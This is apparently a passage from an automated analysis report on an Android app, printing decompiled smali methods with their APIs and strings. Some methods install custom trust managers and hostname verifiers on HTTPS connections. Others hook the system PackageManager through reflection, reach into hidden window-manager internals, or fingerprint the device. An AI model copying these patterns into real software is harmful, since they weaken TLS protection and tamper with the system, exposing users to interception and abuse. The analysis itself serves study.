                              53invoke-static {v2}, Ljava/lang/Byte;->valueOf(B)Ljava/lang/Byte;
                              54move-result-object v2
                              55aput-object v2, v7, v8
                              57invoke-static {v6, v7}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                              58move-result-object v2
                              60invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              61add-int/lit8 v0, v0, 0x1
                              62goto/16 :goto_3c
                              63cond_56:
                              64invoke-virtual {v4}, Ljava/lang/StringBuilder;->length()I
                              65move-result v0
                              66if-lez v0, :cond_65
                              68invoke-virtual {v4}, Ljava/lang/StringBuilder;->length()I
                              69move-result v0
                              70add-int/lit8 v0, v0, -0x1
                              72invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->deleteCharAt(I)Ljava/lang/StringBuilder;
                              73cond_65:
                              74invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              75move-result-object v0
                              77invoke-static {}, Ljava/util/Locale;->getDefault()Ljava/util/Locale;
                              78move-result-object v2
                              80invoke-virtual {v0, v2}, Ljava/lang/String;->toLowerCase(Ljava/util/Locale;)Ljava/lang/String;
                              81try_end_70: move-result-object v0
                              82goto/16 :goto_34
                              83catch_72: move-exception v0
                              84cond_73: move-object v0, v1
                              85goto/16 :goto_34
                              Cross References
                              APIs
                              • java.net.URL.<init>
                              • java.net.URL.openConnection
                              • java.net.HttpURLConnection.setRequestProperty
                              • java.net.HttpURLConnection.setReadTimeout
                              • java.net.HttpURLConnection.setConnectTimeout
                              • java.net.HttpURLConnection.setDoInput
                              • java.net.HttpURLConnection.setRequestProperty
                              • java.lang.String.startsWith
                              • javax.net.ssl.SSLContext.getInstance
                              • java.security.SecureRandom.<init>
                              • javax.net.ssl.SSLContext.init
                              • javax.net.ssl.SSLContext.getSocketFactory
                              • javax.net.ssl.HttpsURLConnection.setSSLSocketFactory
                              • javax.net.ssl.HttpsURLConnection.setHostnameVerifier
                              Strings
                              • User-agent
                              • Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; Nexus One Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
                              • Connection
                              • close
                              • https
                              • TLS
                              Position Instruction Meta Information
                              0.prologue
                              1const-class v3, Lsdk/nicro/lu/a/a$a;
                              2monitor-enter v3
                              3try_start_3: new-instance v1, Ljava/net/URL;
                              5invoke-direct {v1, p0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                              7invoke-virtual {v1}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                              8move-result-object v1
                              9check-cast v1, Ljava/net/HttpURLConnection;
                              11const-string/jumbo v2, "User-agent"
                              13const-string/jumbo v4, "Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; Nexus One Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
                              15invoke-virtual {v1, v2, v4}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                              16const/16 v2, 0x4e20
                              18invoke-virtual {v1, v2}, Ljava/net/HttpURLConnection;->setReadTimeout(I)V
                              19const/16 v2, 0x2710
                              21invoke-virtual {v1, v2}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
                              22const/4 v2, 0x1
                              24invoke-virtual {v1, v2}, Ljava/net/HttpURLConnection;->setDoInput(Z)V
                              26const-string/jumbo v2, "Connection"
                              28const-string/jumbo v4, "close"
                              30invoke-virtual {v1, v2, v4}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                              31if-eqz p0, :cond_73
                              33const-string/jumbo v2, "https"
                              35invoke-virtual {p0, v2}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                              36move-result v2
                              37if-eqz v2, :cond_73
                              38move-object v0, v1
                              39check-cast v0, Ljavax/net/ssl/HttpsURLConnection;
                              40move-object v2, v0
                              42sget-object v4, Lsdk/nicro/lu/a/a$a;->a:Ljavax/net/ssl/SSLContext;
                              43if-nez v4, :cond_61
                              45const-string/jumbo v4, "TLS"
                              47invoke-static {v4}, Ljavax/net/ssl/SSLContext;->getInstance(Ljava/lang/String;)Ljavax/net/ssl/SSLContext;
                              48move-result-object v4
                              49sput-object v4, Lsdk/nicro/lu/a/a$a;->a:Ljavax/net/ssl/SSLContext;
                              51sget-object v4, Lsdk/nicro/lu/a/a$a;->a:Ljavax/net/ssl/SSLContext;
                              52const/4 v5, 0x0
                              53const/4 v6, 0x1
                              54new-array v6, v6, [Ljavax/net/ssl/TrustManager;
                              55const/4 v7, 0x0
                              56new-instance v8, Lsdk/nicro/lu/a/a$c;
                              57const/4 v9, 0x0
                              59invoke-direct {v8, v9}, Lsdk/nicro/lu/a/a$c;-><init>(Lsdk/nicro/lu/a/a$1;)V
                              60aput-object v8, v6, v7
                              61new-instance v7, Ljava/security/SecureRandom;
                              63invoke-direct {v7}, Ljava/security/SecureRandom;-><init>()V
                              65invoke-virtual {v4, v5, v6, v7}, Ljavax/net/ssl/SSLContext;->init([Ljavax/net/ssl/KeyManager;[Ljavax/net/ssl/TrustManager;Ljava/security/SecureRandom;)V
                              66cond_61:
                              67sget-object v4, Lsdk/nicro/lu/a/a$a;->a:Ljavax/net/ssl/SSLContext;
                              69invoke-virtual {v4}, Ljavax/net/ssl/SSLContext;->getSocketFactory()Ljavax/net/ssl/SSLSocketFactory;
                              70move-result-object v4
                              72invoke-virtual {v2, v4}, Ljavax/net/ssl/HttpsURLConnection;->setSSLSocketFactory(Ljavax/net/ssl/SSLSocketFactory;)V
                              73new-instance v4, Lsdk/nicro/lu/a/a$b;
                              74const/4 v5, 0x0
                              76invoke-direct {v4, v5}, Lsdk/nicro/lu/a/a$b;-><init>(Lsdk/nicro/lu/a/a$1;)V
                              78invoke-virtual {v2, v4}, Ljavax/net/ssl/HttpsURLConnection;->setHostnameVerifier(Ljavax/net/ssl/HostnameVerifier;)V
                              79cond_73: monitor-exit v3
                              80return-object v1
                              81catchall_75: move-exception v1
                              82monitor-exit v3
                              83throw v1
                              Cross References
                              APIs
                              • java.net.URL.<init>
                              • java.net.URL.openConnection
                              • java.net.HttpURLConnection.setRequestProperty
                              • java.net.HttpURLConnection.setReadTimeout
                              • java.net.HttpURLConnection.setConnectTimeout
                              • java.net.HttpURLConnection.setDoInput
                              • java.net.HttpURLConnection.setRequestProperty
                              • java.lang.String.startsWith
                              • javax.net.ssl.SSLContext.getInstance
                              • java.security.SecureRandom.<init>
                              • javax.net.ssl.SSLContext.init
                              • javax.net.ssl.SSLContext.getSocketFactory
                              • javax.net.ssl.HttpsURLConnection.setSSLSocketFactory
                              • javax.net.ssl.HttpsURLConnection.setHostnameVerifier
                              Strings
                              • User-agent
                              • Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; Nexus One Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
                              • Connection
                              • close
                              • https
                              • TLS
                              Position Instruction Meta Information
                              0.prologue
                              1const-class v3, Lcom/omg/base/network/connection/HTTPConnection$Http;
                              2monitor-enter v3
                              3try_start_3: new-instance v1, Ljava/net/URL;
                              5invoke-direct {v1, p0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                              7invoke-virtual {v1}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                              8move-result-object v1
                              9check-cast v1, Ljava/net/HttpURLConnection;
                              11const-string/jumbo v2, "User-agent"
                              13const-string/jumbo v4, "Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; Nexus One Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
                              15invoke-virtual {v1, v2, v4}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                              16const/16 v2, 0x4e20
                              18invoke-virtual {v1, v2}, Ljava/net/HttpURLConnection;->setReadTimeout(I)V
                              19const/16 v2, 0x2710
                              21invoke-virtual {v1, v2}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
                              22const/4 v2, 0x1
                              24invoke-virtual {v1, v2}, Ljava/net/HttpURLConnection;->setDoInput(Z)V
                              26const-string/jumbo v2, "Connection"
                              28const-string/jumbo v4, "close"
                              30invoke-virtual {v1, v2, v4}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                              31if-eqz p0, :cond_69
                              33const-string/jumbo v2, "https"
                              35invoke-virtual {p0, v2}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                              36move-result v2
                              37if-eqz v2, :cond_69
                              38move-object v0, v1
                              39check-cast v0, Ljavax/net/ssl/HttpsURLConnection;
                              40move-object v2, v0
                              42const-string/jumbo v4, "TLS"
                              44invoke-static {v4}, Ljavax/net/ssl/SSLContext;->getInstance(Ljava/lang/String;)Ljavax/net/ssl/SSLContext;
                              45move-result-object v4
                              46const/4 v5, 0x0
                              47const/4 v6, 0x1
                              48new-array v6, v6, [Ljavax/net/ssl/TrustManager;
                              49const/4 v7, 0x0
                              50new-instance v8, Lcom/omg/base/network/connection/HTTPConnection$SdkTrustManager;
                              51const/4 v9, 0x0
                              53invoke-direct {v8, v9}, Lcom/omg/base/network/connection/HTTPConnection$SdkTrustManager;-><init>(Lcom/omg/base/network/connection/HTTPConnection$1;)V
                              54aput-object v8, v6, v7
                              55new-instance v7, Ljava/security/SecureRandom;
                              57invoke-direct {v7}, Ljava/security/SecureRandom;-><init>()V
                              59invoke-virtual {v4, v5, v6, v7}, Ljavax/net/ssl/SSLContext;->init([Ljavax/net/ssl/KeyManager;[Ljavax/net/ssl/TrustManager;Ljava/security/SecureRandom;)V
                              61invoke-virtual {v4}, Ljavax/net/ssl/SSLContext;->getSocketFactory()Ljavax/net/ssl/SSLSocketFactory;
                              62move-result-object v4
                              64invoke-virtual {v2, v4}, Ljavax/net/ssl/HttpsURLConnection;->setSSLSocketFactory(Ljavax/net/ssl/SSLSocketFactory;)V
                              65new-instance v4, Lcom/omg/base/network/connection/HTTPConnection$SdkHostnameVerifier;
                              66const/4 v5, 0x0
                              68invoke-direct {v4, v5}, Lcom/omg/base/network/connection/HTTPConnection$SdkHostnameVerifier;-><init>(Lcom/omg/base/network/connection/HTTPConnection$1;)V
                              70invoke-virtual {v2, v4}, Ljavax/net/ssl/HttpsURLConnection;->setHostnameVerifier(Ljavax/net/ssl/HostnameVerifier;)V
                              71try_end_69: monitor-exit v3
                              72return-object v1
                              73catchall_6b: move-exception v1
                              74monitor-exit v3
                              75throw v1
                              Cross References
                              APIs
                              • java.lang.Class.getDeclaredField
                              • java.lang.reflect.Field.get
                              • android.content.Context.getApplicationInfo
                              • java.lang.Object.getClass
                              • java.lang.Class.getDeclaredField
                              • android.content.Context.getApplicationInfo
                              • java.lang.reflect.Field.get
                              • java.lang.Class.forName
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Array.get
                              • java.lang.reflect.Method.invoke
                              • java.lang.Boolean.booleanValue
                              • java.lang.Exception.getMessage
                              • android.util.Log.e
                              Strings
                              • SUPPORTED_64_BIT_ABIS
                              • primaryCpuAbi
                              • dalvik.system.VMRuntime
                              • is64BitAbi
                              • SDK
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2try_start_1: const-class v0, Landroid/os/Build;
                              4const-string/jumbo v2, "SUPPORTED_64_BIT_ABIS"
                              6invoke-virtual {v0, v2}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              7move-result-object v0
                              8const/4 v2, 0x0
                              10invoke-virtual {v0, v2}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              11move-result-object v2
                              13invoke-virtual {p0}, Landroid/content/Context;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
                              14move-result-object v0
                              16invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              17move-result-object v0
                              19const-string/jumbo v3, "primaryCpuAbi"
                              21invoke-virtual {v0, v3}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              22move-result-object v0
                              24invoke-virtual {p0}, Landroid/content/Context;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
                              25move-result-object v3
                              27invoke-virtual {v0, v3}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              28move-result-object v0
                              30const-string/jumbo v3, "dalvik.system.VMRuntime"
                              32invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              33move-result-object v3
                              35const-string/jumbo v4, "is64BitAbi"
                              36const/4 v5, 0x1
                              37new-array v5, v5, [Ljava/lang/Class;
                              38const/4 v6, 0x0
                              39const-class v7, Ljava/lang/String;
                              40aput-object v7, v5, v6
                              42invoke-virtual {v3, v4, v5}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              43move-result-object v3
                              44const/4 v4, 0x1
                              46invoke-virtual {v3, v4}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              47if-nez v0, :cond_47
                              48const/4 v0, 0x0
                              50invoke-static {v2, v0}, Ljava/lang/reflect/Array;->get(Ljava/lang/Object;I)Ljava/lang/Object;
                              51move-result-object v0
                              52cond_47: const/4 v2, 0x0
                              53const/4 v4, 0x1
                              54new-array v4, v4, [Ljava/lang/Object;
                              55const/4 v5, 0x0
                              56aput-object v0, v4, v5
                              58invoke-virtual {v3, v2, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              59move-result-object v0
                              60check-cast v0, Ljava/lang/Boolean;
                              62invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
                              63try_end_57: move-result v0
                              64goto_58: return v0
                              65catch_59: move-exception v0
                              67const-string/jumbo v2, "SDK"
                              69invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                              70move-result-object v0
                              72invoke-static {v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                              73move v0, v1
                              74goto/16 :goto_58
                              Cross References
                              APIs
                              • java.lang.Class.getClassLoader
                              • java.lang.ClassLoader.loadClass
                              • java.lang.Class.getDeclaredField
                              • java.lang.reflect.Field.setAccessible
                              • java.lang.reflect.Field.get
                              • java.lang.Object.getClass
                              • java.lang.Class.getDeclaredField
                              • java.lang.reflect.Field.setAccessible
                              • java.lang.reflect.Field.get
                              • java.lang.Class.getClassLoader
                              • java.lang.ClassLoader.loadClass
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              • java.lang.Exception.toString
                              Strings
                              • android.view.WindowManagerGlobal
                              • sDefaultWindowManager
                              • mParams
                              • android.view.WindowManagerImpl
                              • getDefault
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2try_start_1: sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                              3const/16 v2, 0x10
                              4if-le v1, v2, :cond_35
                              5const-class v1, Lcom/core/model/g;
                              7invoke-virtual {v1}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                              8move-result-object v1
                              10const-string v2, "android.view.WindowManagerGlobal"
                              12invoke-virtual {v1, v2}, Ljava/lang/ClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                              13move-result-object v1
                              15const-string v2, "sDefaultWindowManager"
                              17invoke-virtual {v1, v2}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              18move-result-object v1
                              19const/4 v2, 0x1
                              21invoke-virtual {v1, v2}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                              22const/4 v2, 0x0
                              24invoke-virtual {v1, v2}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              25move-result-object v1
                              26goto_22:
                              27invoke-virtual {v1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              28move-result-object v2
                              30const-string v3, "mParams"
                              32invoke-virtual {v2, v3}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              33move-result-object v2
                              34const/4 v3, 0x1
                              36invoke-virtual {v2, v3}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                              38invoke-virtual {v2, v1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              39move-result-object v0
                              40goto_34: return-object v0
                              41cond_35: const-class v1, Lcom/core/model/g;
                              43invoke-virtual {v1}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                              44move-result-object v1
                              46const-string v2, "android.view.WindowManagerImpl"
                              48invoke-virtual {v1, v2}, Ljava/lang/ClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                              49move-result-object v1
                              51const-string v2, "getDefault"
                              52const/4 v3, 0x0
                              53new-array v3, v3, [Ljava/lang/Class;
                              55invoke-virtual {v1, v2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              56move-result-object v1
                              57const/4 v2, 0x1
                              59invoke-virtual {v1, v2}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              60const/4 v2, 0x0
                              61const/4 v3, 0x0
                              62new-array v3, v3, [Ljava/lang/Object;
                              64invoke-virtual {v1, v2, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              65try_end_55: move-result-object v1
                              66goto/16 :goto_22
                              67catch_57: move-exception v1
                              69invoke-virtual {v1}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                              70move-result-object v1
                              72invoke-static {p0, v1}, Lcom/core/model/h;->c(Landroid/content/Context;Ljava/lang/String;)V
                              73goto/16 :goto_34
                              Cross References
                              APIs
                              • java.lang.StringBuilder.<init>
                              • android.os.Build.DEVICE:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • android.os.Build.PRODUCT:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • android.os.Build$VERSION.RELEASE:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.util.Date.<init>
                              • java.util.Date.getYear
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.util.Date.<init>
                              • java.util.Date.getYear
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.String.hashCode
                              • java.lang.Integer.toHexString
                              • java.lang.String.hashCode
                              • java.lang.Integer.toHexString
                              • java.lang.String.format
                              Strings
                              • /.%s/%s/
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v0, Ljava/lang/StringBuilder;
                              3invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              5sget-object v1, Landroid/os/Build;->DEVICE:Ljava/lang/String;
                              7invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              8move-result-object v0
                              10sget-object v1, Landroid/os/Build;->PRODUCT:Ljava/lang/String;
                              12invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              13move-result-object v0
                              15sget-object v1, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
                              17invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              18move-result-object v0
                              19new-instance v1, Ljava/util/Date;
                              21invoke-direct {v1}, Ljava/util/Date;-><init>()V
                              23invoke-virtual {v1}, Ljava/util/Date;->getYear()I
                              24move-result v1
                              26invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              27move-result-object v0
                              29invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              30move-result-object v0
                              31new-instance v1, Ljava/lang/StringBuilder;
                              33invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              35invoke-virtual {v1, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              36move-result-object v1
                              37new-instance v2, Ljava/util/Date;
                              39invoke-direct {v2}, Ljava/util/Date;-><init>()V
                              41invoke-virtual {v2}, Ljava/util/Date;->getYear()I
                              42move-result v2
                              44invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              45move-result-object v1
                              47invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              48move-result-object v1
                              50const-string/jumbo v2, "/.%s/%s/"
                              51const/4 v3, 0x2
                              52new-array v3, v3, [Ljava/lang/Object;
                              53const/4 v4, 0x0
                              55invoke-virtual {v0}, Ljava/lang/String;->hashCode()I
                              56move-result v0
                              58invoke-static {v0}, Ljava/lang/Integer;->toHexString(I)Ljava/lang/String;
                              59move-result-object v0
                              60aput-object v0, v3, v4
                              61const/4 v0, 0x1
                              63invoke-virtual {v1}, Ljava/lang/String;->hashCode()I
                              64move-result v1
                              66invoke-static {v1}, Ljava/lang/Integer;->toHexString(I)Ljava/lang/String;
                              67move-result-object v1
                              68aput-object v1, v3, v0
                              70invoke-static {v2, v3}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                              71move-result-object v0
                              72return-object v0
                              Cross References
                              APIs
                              • java.lang.Class.forName
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.invoke
                              • java.lang.Class.getDeclaredField
                              • java.lang.reflect.Field.setAccessible
                              • java.lang.reflect.Field.get
                              • java.lang.Class.forName
                              • java.lang.reflect.Field.set
                              • android.content.Context.getApplicationContext
                              • android.content.Context.getPackageManager
                              • java.lang.Object.getClass
                              • java.lang.Class.getDeclaredField
                              • java.lang.reflect.Field.setAccessible
                              • java.lang.reflect.Field.set
                              • java.lang.Exception.printStackTrace
                              Strings
                              • android.app.ActivityThread
                              • currentActivityThread
                              • sPackageManager
                              • android.content.pm.IPackageManager
                              • mPM
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2const-string v0, "android.app.ActivityThread"
                              4invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              5move-result-object v0
                              7const-string v1, "currentActivityThread"
                              8const/4 v2, 0x0
                              9new-array v2, v2, [Ljava/lang/Class;
                              11invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              12move-result-object v1
                              13const/4 v2, 0x0
                              14const/4 v3, 0x0
                              15new-array v3, v3, [Ljava/lang/Object;
                              17invoke-virtual {v1, v2, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              18move-result-object v1
                              20const-string v2, "sPackageManager"
                              22invoke-virtual {v0, v2}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              23move-result-object v0
                              24const/4 v2, 0x1
                              26invoke-virtual {v0, v2}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                              28invoke-virtual {v0, v1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              29move-result-object v2
                              31const-string v3, "android.content.pm.IPackageManager"
                              33invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              34move-result-object v3
                              36invoke-static {v2, v3, p0}, Lcom/core/model/f;->a(Ljava/lang/Object;Ljava/lang/Class;Landroid/content/Context;)Ljava/lang/Object;
                              37move-result-object v4
                              39invoke-virtual {v0, v1, v4}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              41invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                              42move-result-object v0
                              44invoke-virtual {v0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                              45move-result-object v0
                              47invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              48move-result-object v1
                              50const-string v4, "mPM"
                              52invoke-virtual {v1, v4}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              53move-result-object v1
                              54const/4 v4, 0x1
                              56invoke-virtual {v1, v4}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                              58invoke-static {v2, v3, p0}, Lcom/core/model/f;->a(Ljava/lang/Object;Ljava/lang/Class;Landroid/content/Context;)Ljava/lang/Object;
                              59move-result-object v2
                              61invoke-virtual {v1, v0, v2}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              62try_end_4f: return-void
                              63catch_50: move-exception v0
                              65invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              66goto/16 :goto_4f
                              Cross References
                              APIs
                              • android.content.Context.getPackageCodePath
                              • java.io.File.<init>
                              • java.util.jar.JarFile.<init>
                              • java.lang.StringBuffer.<init>
                              • java.util.jar.JarFile.getManifest
                              • java.util.jar.Manifest.getEntries
                              • java.util.Map.keySet
                              • java.util.Set.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • java.util.jar.Manifest.getEntries
                              • java.util.Map.get
                              • java.util.jar.Attributes.keySet
                              • java.util.Set.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.util.jar.Attributes.getValue
                              • java.lang.StringBuffer.append
                              • java.lang.StringBuffer.<init>
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0: new-instance v0, Ljava/util/jar/JarFile;
                              2new-instance v1, Ljava/io/File;
                              4invoke-virtual {p1}, Landroid/content/Context;->getPackageCodePath()Ljava/lang/String;
                              5move-result-object v2
                              7invoke-direct {v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              9invoke-direct {v0, v1}, Ljava/util/jar/JarFile;-><init>(Ljava/io/File;)V
                              10new-instance v1, Ljava/lang/StringBuffer;
                              12invoke-direct {v1}, Ljava/lang/StringBuffer;-><init>()V
                              14invoke-virtual {v0}, Ljava/util/jar/JarFile;->getManifest()Ljava/util/jar/Manifest;
                              15move-result-object v2
                              17invoke-virtual {v2}, Ljava/util/jar/Manifest;->getEntries()Ljava/util/Map;
                              18move-result-object v0
                              20invoke-interface {v0}, Ljava/util/Map;->keySet()Ljava/util/Set;
                              21move-result-object v0
                              23invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                              24move-result-object v3
                              25cond_23:
                              26invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                              27move-result v0
                              28if-eqz v0, :cond_6e
                              30invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              31move-result-object v0
                              32check-cast v0, Ljava/lang/String;
                              34invoke-virtual {v2}, Ljava/util/jar/Manifest;->getEntries()Ljava/util/Map;
                              35move-result-object v4
                              37invoke-interface {v4, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              38move-result-object v0
                              39check-cast v0, Ljava/util/jar/Attributes;
                              41invoke-virtual {v0}, Ljava/util/jar/Attributes;->keySet()Ljava/util/Set;
                              42move-result-object v4
                              44invoke-interface {v4}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                              45move-result-object v4
                              46goto_41:
                              47invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
                              48move-result v5
                              49if-eqz v5, :cond_23
                              51invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              52move-result-object v5
                              53new-instance v6, Ljava/lang/StringBuilder;
                              55invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                              57invoke-virtual {v6, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              58move-result-object v5
                              60const-string/jumbo v6, ""
                              62invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              63move-result-object v5
                              65invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              66move-result-object v5
                              68invoke-virtual {v0, v5}, Ljava/util/jar/Attributes;->getValue(Ljava/lang/String;)Ljava/lang/String;
                              69move-result-object v5
                              71invoke-virtual {v1, v5}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                              72try_end_66: goto/16 :goto_41
                              73catch_67: move-exception v0
                              74new-instance v0, Ljava/lang/StringBuffer;
                              76invoke-direct {v0}, Ljava/lang/StringBuffer;-><init>()V
                              77goto_6d: return-object v0
                              78cond_6e: move-object v0, v1
                              79goto/16 :goto_6d
                              Cross References
                              APIs
                              • java.lang.Object.<init>
                              • android.os.Build.PRODUCT:Ljava/lang/String
                              • android.os.Build.MODEL:Ljava/lang/String
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.os.Build$VERSION.RELEASE:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.DisplayMetrics.<init>
                              • android.content.Context.getSystemService
                              • android.view.WindowManager.getDefaultDisplay
                              • android.view.Display.getMetrics
                              • android.content.Context.getSystemService
